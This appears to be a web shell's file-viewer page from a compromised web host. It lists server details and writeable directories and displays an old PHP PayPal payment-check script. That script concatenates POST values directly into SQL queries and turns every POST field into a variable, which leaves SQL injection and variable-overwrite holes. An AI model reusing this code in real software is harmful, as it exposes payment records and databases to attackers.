KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/abtechsci/mmc15/Membership/payments/paypal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/abtechsci/mmc15/Membership/payments/paypal/checkpayment.php
<?php
/**************************************************/
/*
Released by AwesomePHP.com, under the GPL License, a
copy of it should be attached to the zip file, or
you can view it on http://AwesomePHP.com/gpl.txt
*/
/**************************************************/

/*
This file will teach you show to use our class
to process payments from Paypal
*/

/* Get Paypal Class */
require_once('paypal.class.php');

$doCheck = new Paypal;

/* Record bad/unauthorized transactions */
$doCheck->setLogFile('logfile.txt');

/*
Do actual checking 
isPaid will be true if payment is good, otherwise
it will be false
*/
$isPaid = $doCheck->checkPayment($_POST);

if($isPaid == true){
	
	foreach($_POST as $is => $what){ ${$is} = $what;}
	/* Now do your own game, process the payment, store it in file or database */
	/* To see sample implementation see our Membership V2.0 script found on our website */

	/*
	Here are some values returned. Entire paramters can be seen on
	PaypalVariables.html located in main folder 
	*/

	/*
	check the $payment_status is Completed
	check that $txn_id has not been previously processed
	check that $receiver_email is your Primary PayPal email
	check that $payment_amount/$payment_currency are correct
	process payment
	*/
	
	/*
	You can check the $payment_status and do your processing.
	A list of what $payment_status might contain is avaiable
	on PaymentStatus.html located in main folder
	*/
	
	/* Payment made and completed */
	if(eregi('completed',$payment_status)){

		//Call Database & Connect
		require_once('../../headers/database.php');
		connect();
		//Call functions
		require_once('../../headers/functions.php');
		
		/* item_number is Paypal item number, supplied by Paypal - contains rate id and user id*/
		list($rateID,$userID) = explode('_',$item_number);
		
		$getRate = mysql_fetch_assoc(mysql_query("SELECT `membership_id`,`rate_amount` 
			FROM `memb_memberships_rates` WHERE `rate_id`='$rateID'"));
	
		/* mc_gross is Paypal payment amount, supplied by Paypal */
		
		if($getRate['rate_amount'] != $mc_gross){
			//Disconnect Database
			disconnect_data();	
		} else {
	
			$add_payment = mysql_query("INSERT INTO `memb_payments` (`membership_id`,`user_id`,`rate_id`,`rate_amount`,
				`payment_date`,`system_id`)
				VALUES ('$getRate[membership_id]','$userID','$rateID','$mc_gross',NOW(),'1')");
		}	
		//Disconnect Database
		disconnect_data();	
	}
}

?>

Anon7 - 2021